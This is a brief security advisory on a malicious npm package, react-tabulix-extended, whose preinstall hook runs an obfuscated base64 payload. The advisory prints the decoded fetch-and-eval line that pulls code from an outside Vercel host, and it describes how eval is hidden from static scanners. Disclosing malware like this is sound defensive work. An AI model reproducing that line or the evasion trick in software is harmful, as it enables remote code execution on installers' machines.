🛡️ MAL-2026-11040 — react-tabulix-extended

Malicious code in react-tabulix-extended (npm)

Source: amazon-inspector

package.json declares preinstall: node./dist/index.d.js, which fires automatically on npm install. The script contains a base64-encoded payload that decodes to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())). The eval identifier is reconstructed from the char-code array [101,118,97,108] and invoked via globalThis[tag](text) to conceal the sink from static scanners. The result is arbitrary remote-code execution on the installer's machine at install time, with the payload served dynamically from an attacker-controlled Vercel endpoint so the executed code can change at any time.
